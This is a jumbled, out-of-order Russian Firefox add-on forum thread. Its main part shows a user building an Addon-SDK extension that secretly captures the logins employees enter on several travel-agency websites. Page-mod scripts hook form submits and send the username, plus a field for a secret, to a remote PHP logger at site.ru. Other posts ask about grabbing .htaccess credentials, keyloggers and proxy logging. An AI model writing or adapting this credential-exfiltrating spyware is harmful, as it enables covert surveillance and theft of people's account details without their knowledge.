Страницы: 1
thunderamurСкрыть названия закладок, если правильно понял.Выделить кодКод:#PersonalToolbar .bookmark-item > .toolbarbutton-text {display: none !important;}
А куда это нужно подсунуть?
Товарищи, подскажите расширение для скрытия названий закладок на панели закладок с поддержкой мультипроцессного режима. Раньше использовал для этого Roomy Bookmarks, но оно блокирует мультрипроцессный режим, поискал аналоги с поддержкой - не нашел пока.
Попробовал Firefox Hello, оно даже неплохо работает, туда бы ещё чатик прикрутить и Skype не нужен.
Возник вопрос, тот, кто инициирует разговор остается с маленьким окошком видеочата, в то время как принимающий по ссылке получает видеочат на всю вкладку, можно вынести в отдельное окно и растянуть, но это не то, как получить с обеих сторон видеочат на всю вкладку?
Если перейти инициатору по ссылке, то он получит, сообщение, что там уже 2 человека и не пустит в видеочат.
Ищу дополнение, которое может это реализовать. Просто автообновление не очень подходит, т.к. будет срабатывать когда это не нужно и может помешать человеку, который в данный момент что-то вводит на странице.
Если такого нет, может кто подскажет, как сделать самому, умею делать простейшие аддоны с помощью addon-sdk, что писать в main.js? Как отследить событие "Ой, страница недоступна"?
Мне всего лишь нужно после установки расширения, присвоить ему идетификатор, чтобы понять от какого ПК приходят данные.
okkamas_knife
Эт что? :)
Как мне это поможет взять айпи из расширения?
Имеет ли расширение доступ к такой информации?
Ясно, что js с сайтов такого доступа не имеет по понятным причинам, но сам браузер это локально установленная программа, может ли расширение, установленное в него получить информацию о локальном IP?
Есть необходимость задания настроек для расширения, как сделать, чтобы появилась кнопочка "Настройка" для дополнения и как сохранить и использовать в расширении инфу, введенное в тектовое поле настроек?
Использую Addon-SDK.
Крутяк, получилось!
var Request = require("sdk/request").Request; pageMod.PageMod({ include: "*.natalie-tours.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("natalie-tours.ru.js")], onAttach: function(worker) { worker.port.on('mylogin', function(msg) { console.log("============== 1 - " + msg); Request({ url: "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=", onComplete: function (response) { console.log("Data sent successfully!"); } }).get(); console.log("============== 2 - " + msg); }); } });
console.log: my-addon: ============== 1 - 32434 console.log: my-addon: ============== 2 - 32434 console.log: my-addon: Data sent successfully!
Теперь ещё один вопрос
Есть сайт с авторизацией через .htaccess, как мне пол
Сейчас имею вот что:
pageMod.PageMod({ include: "*.natalie-tours.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("natalie-tours.ru.js")], onAttach: function(worker) { worker.port.on('mylogin', function(msg) { console.log("============== 1 - " + msg); var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=", true); xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4) { if(xmlhttp.status == 200) { console.log(xmlhttp.responseText); } } }; xmlhttp.send(null); console.log("============== 2 - " + msg); }); } });
Консоль:
[code]console.log: my-addon: ============== 1 - 123
console.error: my-addon:
Message: ReferenceError: XMLHttpRe
Infocatcher
Спасибо за инфу :)
Посмотрю все варианты. Все-таки склоняюсь к SDK, т.к. это наверное более основательный вариант (restartless и совместимость на будущее). Но ежели не осилю для этой задачи можно и сделать лишь бы сейчас работало.
Infocatcher
Спасибо, что включился в беседу :)
Вот мне бы как раз узнать как работать не со страницы, а как бы в стороне, чтобы то, что есть на странице мне никак не могло помешать.
02-05-2014 20:13:39
Не оно?
https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/content_symbiont
Как получить данные из поля логин, в окошке авторизации .htaccess?
Infocatcher молчит :(
Шпионская программа умеет собирать данные с нужных страниц? Да ещё и покупать надо.
А здесь свой теплый ламповый самопал. Это интереснее, потом есть мысли сделать штуку поприкольнее, но там уже мессенджер для платной CRM, родной месенджер которой ущербен.
Странная штука, не везде работает.
[spoiler]main.js
var data = require("sdk/self").data; var pageMod = require("sdk/page-mod"); pageMod.PageMod({ include: "*.mouzenidis-travel.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("mouzenidis-travel.ru.js")] }); pageMod.PageMod({ include: "*.pegast.ru", contentScriptFile: [data.url("jquery-2.1.0.min.js"), data.url("pegast.ru.js")] });
data/mouzenidis-travel.ru.js
$("form").submit(function(){ alert($("#UserName").val()); $.ajax({ type: "POST", url: "http://site.ru/writedata.php", data: { site :"mouzenidis-travel.ru", login :$("#UserName").val(), secret :"" } }) });
data/pegast.ru.js
[code]
$("form").submit(function(){
alert($("#username").val());
$.ajax({
type: "POST",
url: "http://site.ru/writedata.php",
data: { sit
Разобрался. Сделал так, что данные улетают на удаленный сервер, где логируются.
Как залезть на страницу нашел...
В справочнике на MDN примеры для 29+
Странная политика. А как под текущие версии расширения то делать, ппц.
okkamas_knife
http://www.eu.squid-cache.org/mail-archive/squid-users/200602/0024.html
тут сообщается, что максимум, что мы можем получить, это тело GET-запросов. Не подоходит в моем случае.
Может лучше покажешь пример по сабжу, где можно посмотреть как работать со страницей на вкладке?
okkamas_knife
Я использую squid, пока не нашел как поймать логин. Ты, случаем не знаешь, кальмар это в принципе логирует?
Первое о чем я подумал - это прокси (и она уже имеется), но как она мне поможет с https?
Поставим один браузер, другое ставить запретим.
Надо учитывать уровень пользователя. Конечно, можно и с флешки загрузится и работать через свою прокси по защищенному ВПН. Но, это не мой случай, у меня пользователи попроще.
Товарищи, как получить данные со страницу по определенному событию?
Пока не понял как это сделать...
1. Почитал инфу по вкладкам, получилось вот что:
var tabs = require("sdk/tabs"); function show(tab) { if (tab.url.indexOf("ya.ru") == -1) { console.log(tab.url + " is not ya.ru"); }else{ console.log(tab.url + " is ya.ru"); } } tabs.on('pageshow', show);
Это можно заюзать для определения на каком мы сайте и нужно ли логировать.
Думаю этот проектик станет чем-то вроде "Hello world!" для меня в создании расширений для FF.
Зачем? Нужно проверить некоторых сотрудников не работают ли они на лево, с левых учеток. Килогеры посмотрел готовые для ФФ, рабочий только один оказался, но он не помогает когда чел не вводит, а вставляет логин из буфера.
https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Getting_started
успешно выполнил.
Сейчас вижу задачу так:
1. Получаем адресную строку активной вкладки.
2. Если адрес нас интересует, искать соответствующее поле на странице (поле для ввода логина)
3. По изменению (или submit) сохранять данные на диске
YYYY-MM-DD H:i:s -- site_address -- entered_login
Вопросы:
1. Как получить адресную строку активной вкладки (onFocus) ?
2. Как найти поле на странице на вкладке (element.getByID()) ?
3. Писать данные в файл можно стандартными средствами JS ?
Страницы: 1